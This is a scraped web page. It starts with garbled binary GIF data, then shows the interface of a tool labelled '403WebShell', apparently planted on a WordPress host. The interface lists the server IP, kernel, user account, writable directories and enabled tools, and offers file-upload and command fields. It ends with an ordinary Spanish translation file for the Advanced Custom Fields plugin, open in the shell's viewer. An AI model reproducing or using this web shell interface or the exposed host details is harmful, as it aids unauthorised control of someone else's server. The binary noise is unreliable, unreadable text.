GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.82
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/ibrenergy.com/wp-content/themes/ibr-theme/includes/acf/lang/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/ibrenergy.com/wp-content/themes/ibr-theme/includes/acf/lang/acf-es_ES.po
msgid ""
msgstr ""
"Project-Id-Version: Advanced Custom Fields Pro v5.2.9\n"
"Report-Msgid-Bugs-To: http://support.advancedcustomfields.com\n"
"POT-Creation-Date: 2015-08-11 23:12+0200\n"
"PO-Revision-Date: 2016-11-03 17:09+1000\n"
"Last-Translator: Elliot Condon <e@elliotcondon.com>\n"
"Language-Team: Héctor Garrofé <info@hectorgarrofe.com>\n"
"Language: es_ES\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: Poedit 1.8.1\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;"
"esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;"
"_nx_noop:3c,1,2;__ngettext_noop:1,2\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-WPHeader: acf.php\n"
"X-Textdomain-Support: yes\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: *.js\n"

#: acf.php:63
msgid "Advanced Custom Fields"
msgstr "Advanced Custom Fields"

#: acf.php:205 admin/admin.php:61
msgid "Field Groups"
msgstr "Grupos de Campos"

#: acf.php:206
msgid "Field Group"
msgstr "Grupo de Campos"

#: acf.php:207 acf.php:239 admin/admin.php:62
#: pro/fields/flexible-content.php:517
msgid "Add New"
msgstr "Añadir nuevo"

#: acf.php:208
msgid "Add New Field Group"
msgstr "Añadir nuevo Field Group"

#: acf.php:209
msgid "Edit Field Group"
msgstr "Editar Grupo de Campos"

#: acf.php:210
msgid "New Field Group"
msgstr "Nuevo Grupo de Campos"

#: acf.php:211
msgid "View Field Group"
msgstr "Ver Grupo de Campos"

#: acf.php:212
msgid "Search Field Groups"
msgstr "Buscar Grupo de Campos"

#: acf.php:213
msgid "No Field Groups found"
msgstr "No se han encontrado Grupos de Campos"

#: acf.php:214
msgid "No Field Groups found in Trash"
msgstr "No se han encontrado Grupos de Campos en la Papelera"

#: acf.php:237 admin/field-group.php:182 admin/field-group.php:213
#: admin/field-groups.php:519
msgid "Fields"
msgstr "Campos"

#: acf.php:238
msgid "Field"
msgstr "Campo"

#: acf.php:240
msgid "Add New Field"
msgstr "Agregar Nuevo Campo"

#: acf.php:241
msgid "Edit Field"
msgstr "Editar Campo"

#: acf.php:242 admin/views/field-group-fields.php:18
#: admin/views/settings-info.php:111
msgid "New Field"
msgstr "Nuevo Campo"

#: acf.php:243
msgid "View Field"
msgstr "Ver Campo"

#: acf.php:244
msgid "Search Fields"
msgstr "Buscar Campos"

#: acf.php:245
msgid "No Fields found"
msgstr "No se encontraron campos"

#: acf.php:246
msgid "No Fields found in Trash"
msgstr "No se encontraron Campos en Papelera"

#: acf.php:268 admin/field-group.php:283 admin/field-groups.php:583
#: admin/views/field-group-options.php:18
msgid "Disabled"
msgstr "Deshabilitado"

#: acf.php:273
#, php-format
msgid "Disabled <span class=\"count\">(%s)</span>"
msgid_plural "Disabled <span class=\"count\">(%s)</span>"
msgstr[0] "Deshabilitado <span class=\"count\">(%s)</span>"
msgstr[1] "Deshabilitados <span class=\"count\">(%s)</span>"

#: admin/admin.php:57 admin/views/field-group-options.php:120
msgid "Custom Fields"
msgstr "Campos Personalizados"

#: admin/field-group.php:68 admin/field-group.php:69 admin/field-group.php:71
msgid "Field group updated."
msgstr "Grupo de campos actualizado."

#: admin/field-group.php:70
msgid "Field group deleted."
msgstr "Grupo de campos eliminado."

#: admin/field-group.php:73
msgid "Field group published."
msgstr "Grupo de campos publicado."

#: admin/field-group.php:74
msgid "Field group saved."
msgstr "Grupo de campos guardado."

#: admin/field-group.php:75
msgid "Field group submitted."
msgstr "Grupo de campos enviado."

#: admin/field-group.php:76
msgid "Field group scheduled for."
msgstr "Grupo de Campos programado."

#: admin/field-group.php:77
msgid "Field group draft updated."
msgstr "Borrador del Grupo de Campos actualizado."

#: admin/field-group.php:176
msgid "Move to trash. Are you sure?"
msgstr "Mover a papelera. Estás seguro?"

#: admin/field-group.php:177
msgid "checked"
msgstr "Chequeado"

#: admin/field-group.php:178
msgid "No toggle fields available"
msgstr "No hay campos de conmutación disponibles"

#: admin/field-group.php:179
msgid "Field group title is required"
msgstr "El título del grupo de campos es requerido"

#: admin/field-group.php:180 api/api-field-group.php:607
msgid "copy"
msgstr "copiar"

#: admin/field-group.php:181
#: admin/views/field-group-field-conditional-logic.php:67
#: admin/views/field-group-field-conditional-logic.php:162
#: admin/views/field-group-locations.php:23
#: admin/views/field-group-locations.php:131 api/api-helpers.php:3262
msgid "or"
msgstr "o"

#: admin/field-group.php:183
msgid "Parent fields"
msgstr "Campos Padre"

#: admin/field-group.php:184
msgid "Sibling fields"
msgstr "Campos de mismo nivel"

#: admin/field-group.php:185
msgid "Move Custom Field"
msgstr "Mover Campo Personalizado"

#: admin/field-group.php:186
msgid "This field cannot be moved until its changes have been saved"
msgstr "Este campo no puede ser movido hasta que sus cambios se hayan guardado"

#: admin/field-group.php:187
msgid "Null"
msgstr "Vacío"

#: admin/field-group.php:188 core/input.php:128
msgid "The changes you made will be lost if you navigate away from this page"
msgstr "Los cambios que has realizado se perderán si navegas hacia otra página"

#: admin/field-group.php:189
msgid "The string \"field_\" may not be used at the start of a field name"
msgstr ""
"La cadena \"_field\" no se debe utilizar al comienzo de un nombre de campo"

#: admin/field-group.php:214
msgid "Location"
msgstr "Ubicación"

#: admin/field-group.php:215
msgid "Settings"
msgstr "Ajustes"

#: admin/field-group.php:253
msgid "Field Keys"
msgstr "Claves de Campo"

#: admin/field-group.php:283 admin/views/field-group-options.php:17
msgid "Active"
msgstr "Activo"

#: admin/field-group.php:744
msgid "Front Page"
msgstr "Página Principal"

#: admin/field-group.php:745
msgid "Posts Page"
msgstr "Página de Entradas"

#: admin/field-group.php:746
msgid "Top Level Page (no parent)"
msgstr "Página de Nivel Superior"

#: admin/field-group.php:747
msgid "Parent Page (has children)"
msgstr "Página Superior (tiene hijas)"

#: admin/field-group.php:748
msgid "Child Page (has parent)"
msgstr "Página hija (tiene superior)"

#: admin/field-group.php:764
msgid "Default Template"
msgstr "Plantilla por Defecto"

#: admin/field-group.php:786
msgid "Logged in"
msgstr "Logueado"

#: admin/field-group.php:787
msgid "Viewing front end"
msgstr "Viendo front end"

#: admin/field-group.php:788
msgid "Viewing back end"
msgstr "Viendo back end"

#: admin/field-group.php:807
msgid "Super Admin"
msgstr "Super Administrador"

#: admin/field-group.php:818 admin/field-group.php:826
#: admin/field-group.php:840 admin/field-group.php:847
#: admin/field-group.php:862 admin/field-group.php:872 fields/file.php:235
#: fields/image.php:226 pro/fields/gallery.php:653
msgid "All"
msgstr "Todos"

#: admin/field-group.php:827
msgid "Add / Edit"
msgstr "Agregar / Editar"

#: admin/field-group.php:828
msgid "Register"
msgstr "Registrar"

#: admin/field-group.php:1059
msgid "Move Complete."
msgstr "Movimiento Completo."

#: admin/field-group.php:1060
#, php-format
msgid "The %s field can now be found in the %s field group"
msgstr "El campo %s puede ser ahora encontrado en el grupo de campos %s"

#: admin/field-group.php:1062
msgid "Close Window"
msgstr "Cerrar Ventana"

#: admin/field-group.php:1097
msgid "Please select the destination for this field"
msgstr "Por favor selecciona el destino para este campo"

#: admin/field-group.php:1104
msgid "Move Field"
msgstr "Mover Campo"

#: admin/field-groups.php:74
#, php-format
msgid "Active <span class=\"count\">(%s)</span>"
msgid_plural "Active <span class=\"count\">(%s)</span>"
msgstr[0] "Activo <span class=\"count\">(%s)</span>"
msgstr[1] "Activos <span class=\"count\">(%s)</span>"

#: admin/field-groups.php:142
#, php-format
msgid "Field group duplicated. %s"
msgstr "Grupo de campos duplicado. %s"

#: admin/field-groups.php:146
#, php-format
msgid "%s field group duplicated."
msgid_plural "%s field groups duplicated."
msgstr[0] "%s grupo de campos duplicado."
msgstr[1] "%s grupos de campos duplicado."

#: admin/field-groups.php:228
#, php-format
msgid "Field group synchronised. %s"
msgstr "Grupo de campos sincronizado. %s"

#: admin/field-groups.php:232
#, php-format
msgid "%s field group synchronised."
msgid_plural "%s field groups synchronised."
msgstr[0] "%s grupo de campos sincronizado."
msgstr[1] "%s grupos de campos sincronizado."

#: admin/field-groups.php:403 admin/field-groups.php:573
msgid "Sync available"
msgstr "Sincronización disponible"

#: admin/field-groups.php:516
msgid "Title"
msgstr "Título"

#: admin/field-groups.php:517 admin/views/field-group-options.php:98
#: admin/views/update-network.php:20 admin/views/update-network.php:28
msgid "Description"
msgstr "Descripción"

#: admin/field-groups.php:518 admin/views/field-group-options.php:10
msgid "Status"
msgstr "Estado"

#: admin/field-groups.php:616 admin/settings-info.php:76
#: pro/admin/views/settings-updates.php:111
msgid "Changelog"
msgstr "Changelog"

#: admin/field-groups.php:617
msgid "See what's new in"
msgstr "Que hay de nuevo en"

#: admin/field-groups.php:617
msgid "version"
msgstr "versión"

#: admin/field-groups.php:619
msgid "Resources"
msgstr "Recursos"

#: admin/field-groups.php:621
msgid "Getting Started"
msgstr "Comenzando"

#: admin/field-groups.php:622 pro/admin/settings-updates.php:73
#: pro/admin/views/settings-updates.php:17
msgid "Updates"
msgstr "Actualizaciones"

#: admin/field-groups.php:623
msgid "Field Types"
msgstr "Tipos de Campos"

#: admin/field-groups.php:624
msgid "Functions"
msgstr "Funciones"

#: admin/field-groups.php:625
msgid "Actions"
msgstr "Acciones"

#: admin/field-groups.php:626 fields/relationship.php:718
msgid "Filters"
msgstr "Filtros"

#: admin/field-groups.php:627
msgid "'How to' guides"
msgstr "Guías 'Cómo hacer'"

#: admin/field-groups.php:628
msgid "Tutorials"
msgstr "Tutoriales"

#: admin/field-groups.php:633
msgid "Created by"
msgstr "Creado por"

#: admin/field-groups.php:673
msgid "Duplicate this item"
msgstr "Duplicar este ítem"

#: admin/field-groups.php:673 admin/field-groups.php:685
#: admin/views/field-group-field.php:58 pro/fields/flexible-content.php:516
msgid "Duplicate"
msgstr "Duplicar"

#: admin/field-groups.php:724
#, php-format
msgid "Select %s"
msgstr "Selecciona %s"

#: admin/field-groups.php:730
msgid "Synchronise field group"
msgstr "Sincronizar grupo de campos"

#: admin/field-groups.php:730 admin/field-groups.php:750
msgid "Sync"
msgstr "Sincronizar"

#: admin/settings-addons.php:51 admin/views/settings-addons.php:9
msgid "Add-ons"
msgstr "Agregados"

#: admin/settings-addons.php:87
msgid "<b>Error</b>. Could not load add-ons list"
msgstr "<b>Error</b>. No se pudo cargar la lista de agregados"

#: admin/settings-info.php:50
msgid "Info"
msgstr "Info"

#: admin/settings-info.php:75
msgid "What's New"
msgstr "Qué hay de nuevo"

#: admin/settings-tools.php:54 admin/views/settings-tools-export.php:9
#: admin/views/settings-tools.php:31
msgid "Tools"
msgstr "Herramientas"

#: admin/settings-tools.php:151 admin/settings-tools.php:365
msgid "No field groups selected"
msgstr "No se seleccionaron grupos de campos"

#: admin/settings-tools.php:188
msgid "No file selected"
msgstr "No se seleccionó archivo"

#: admin/settings-tools.php:201
msgid "Error uploading file. Please try again"
msgstr "Error subiendo archivo.  Por favor intente nuevamente"

#: admin/settings-tools.php:210
msgid "Incorrect file type"
msgstr "Tipo de campo incorrecto"

#: admin/settings-tools.php:227
msgid "Import file empty"
msgstr "Archivo de imporación vacío"

#: admin/settings-tools.php:323
#, php-format
msgid "<b>Success</b>. Import tool added %s field groups: %s"
msgstr ""
"<b>Perfecto</b>. La herramienta de importación agregó %s grupos de campos: %s"

#: admin/settings-tools.php:332
#, php-format
msgid ""
"<b>Warning</b>. Import tool detected %s field groups already exist and have "
"been ignored: %s"
msgstr ""
"<b>Alerta</b>. La herramienta de importación detectó que %s grupos de campos "
"ya existen y han sido ignorados: %s"

#: admin/update.php:113
msgid "Upgrade ACF"
msgstr "Actualizar ACF"

#: admin/update.php:143
msgid "Review sites & upgrade"
msgstr "Revisar sitios y actualizar"

#: admin/update.php:298
msgid "Upgrade"
msgstr "Actualizar"

#: admin/update.php:328
msgid "Upgrade Database"
msgstr "Actualizar Base de datos"

#: admin/views/field-group-field-conditional-logic.php:29
msgid "Conditional Logic"
msgstr "Lógica Condicional"

#: admin/views/field-group-field-conditional-logic.php:40
#: admin/views/field-group-field.php:137 fields/checkbox.php:246
#: fields/message.php:117 fields/page_link.php:568 fields/page_link.php:582
#: fields/post_object.php:434 fields/post_object.php:448 fields/select.php:411
#: fields/select.php:425 fields/select.php:439 fields/select.php:453
#: fields/tab.php:172 fields/taxonomy.php:770 fields/taxonomy.php:784
#: fields/taxonomy.php:798 fields/taxonomy.php:812 fields/user.php:457
#: fields/user.php:471 fields/wysiwyg.php:384
#: pro/admin/views/settings-updates.php:93
msgid "Yes"
msgstr "Sí"

#: admin/views/field-group-field-conditional-logic.php:41
#: admin/views/field-group-field.php:138 fields/checkbox.php:247
#: fields/message.php:118 fields/page_link.php:569 fields/page_link.php:583
#: fields/post_object.php:435 fields/post_object.php:449 fields/select.php:412
#: fields/select.php:426 fields/select.php:440 fields/select.php:454
#: fields/tab.php:173 fields/taxonomy.php:685 fields/taxonomy.php:771
#: fields/taxonomy.php:785 fields/taxonomy.php:799 fields/taxonomy.php:813
#: fields/user.php:458 fields/user.php:472 fields/wysiwyg.php:385
#: pro/admin/views/settings-updates.php:103
msgid "No"
msgstr "No"

#: admin/views/field-group-field-conditional-logic.php:65
msgid "Show this field if"
msgstr "Mostrar este campo si"

#: admin/views/field-group-field-conditional-logic.php:111
#: admin/views/field-group-locations.php:88
msgid "is equal to"
msgstr "es igual a"

#: admin/views/field-group-field-conditional-logic.php:112
#: admin/views/field-group-locations.php:89
msgid "is not equal to"
msgstr "no es igual a"

#: admin/views/field-group-field-conditional-logic.php:149
#: admin/views/field-group-locations.php:118
msgid "and"
msgstr "y"

#: admin/views/field-group-field-conditional-logic.php:164
#: admin/views/field-group-locations.php:133
msgid "Add rule group"
msgstr "Agregar grupo de reglas"

#: admin/views/field-group-field.php:54 admin/views/field-group-field.php:57
msgid "Edit field"
msgstr "Editar campo"

#: admin/views/field-group-field.php:57 pro/fields/gallery.php:355
msgid "Edit"
msgstr "Editar"

#: admin/views/field-group-field.php:58
msgid "Duplicate field"
msgstr "Duplicar campo"

#: admin/views/field-group-field.php:59
msgid "Move field to another group"
msgstr "Mover campo a otro grupo"

#: admin/views/field-group-field.php:59
msgid "Move"
msgstr "Mover"

#: admin/views/field-group-field.php:60
msgid "Delete field"
msgstr "Borrar campo"

#: admin/views/field-group-field.php:60 pro/fields/flexible-content.php:515
msgid "Delete"
msgstr "Borrar"

#: admin/views/field-group-field.php:68 fields/oembed.php:212
#: fields/taxonomy.php:886
msgid "Error"
msgstr "Error"

#: fields/oembed.php:220 fields/taxonomy.php:900
msgid "Error."
msgstr "Error."

#: admin/views/field-group-field.php:68
msgid "Field type does not exist"
msgstr "Tipo de campo inexistente"

#: admin/views/field-group-field.php:81
msgid "Field Label"
msgstr "Etiqueta del campo"

#: admin/views/field-group-field.php:82
msgid "This is the name which will appear on the EDIT page"
msgstr "Este es el nombre que aparecerá en la página EDITAR"

#: admin/views/field-group-field.php:93
msgid "Field Name"
msgstr "Nombre del campo"

#: admin/views/field-group-field.php:94
msgid "Single word, no spaces. Underscores and dashes allowed"
msgstr ""
"Una sola palabra, sin espacios. Guiones bajos y barras están permitidos."

#: admin/views/field-group-field.php:105
msgid "Field Type"
msgstr "Tipo de campo"

#: admin/views/field-group-field.php:118 fields/tab.php:143
msgid "Instructions"
msgstr "Instrucciones"

#: admin/views/field-group-field.php:119
msgid "Instructions for authors. Shown when submitting data"
msgstr ""
"Instrucciones para los autores. Se muestra a la hora de introducir los datos."

#: admin/views/field-group-field.php:130
msgid "Required?"
msgstr "¿Requerido?"

#: admin/views/field-group-field.php:158
msgid "Wrapper Attributes"
msgstr "Atributos del Contenedor"

#: admin/views/field-group-field.php:164
msgid "width"
msgstr "ancho"

#: admin/views/field-group-field.php:178
msgid "class"
msgstr "class"

#: admin/views/field-group-field.php:191
msgid "id"
msgstr "id"

#: admin/views/field-group-field.php:203
msgid "Close Field"
msgstr "Cerrar Campo"

#: admin/views/field-group-fields.php:29
msgid "Order"
msgstr "Orden"

#: admin/views/field-group-fields.php:30 pro/fields/flexible-content.php:541
msgid "Label"
msgstr "Etiqueta"

#: admin/views/field-group-fields.php:31 pro/fields/flexible-content.php:554
msgid "Name"
msgstr "Nombre"

#: admin/views/field-group-fields.php:32
msgid "Type"
msgstr "Tipo"

#: admin/views/field-group-fields.php:44
msgid ""
"No fields. Click the <strong>+ Add Field</strong> button to create your "
"first field."
msgstr ""
"No hay campos. Haz Click en el botón <strong>+ Añadir campo</strong> para "
"crear tu primer campo."

#: admin/views/field-group-fields.php:51
msgid "Drag and drop to reorder"
msgstr "Arrastra y suelta para reordenar"

#: admin/views/field-group-fields.php:54
msgid "+ Add Field"
msgstr "+ Añadir Campo"

#: admin/views/field-group-locations.php:5
msgid "Rules"
msgstr "Reglas"

#: admin/views/field-group-locations.php:6
msgid ""
"Create a set of rules to determine which edit screens will use these "
"advanced custom fields"
msgstr ""
"Crea un conjunto de reglas para determinar qué pantallas de edición "
"utilizarán estos campos personalizados"

#: admin/views/field-group-locations.php:21
msgid "Show this field group if"
msgstr "Mostrar este grupo de campos si"

#: admin/views/field-group-locations.php:41
#: admin/views/field-group-locations.php:47
msgid "Post"
msgstr "Post"

#: admin/views/field-group-locations.php:42 fields/relationship.php:724
msgid "Post Type"
msgstr "Post Type"

#: admin/views/field-group-locations.php:43
msgid "Post Status"
msgstr "Estado del Post"

#: admin/views/field-group-locations.php:44
msgid "Post Format"
msgstr "Formato de Post"

#: admin/views/field-group-locations.php:45
msgid "Post Category"
msgstr "Categoría de Post"

#: admin/views/field-group-locations.php:46
msgid "Post Taxonomy"
msgstr "Taxonomía de Post"

#: admin/views/field-group-locations.php:49
#: admin/views/field-group-locations.php:53
msgid "Page"
msgstr "Página"

#: admin/views/field-group-locations.php:50
msgid "Page Template"
msgstr "Plantilla de Página"

#: admin/views/field-group-locations.php:51
msgid "Page Type"
msgstr "Tipo de Página"

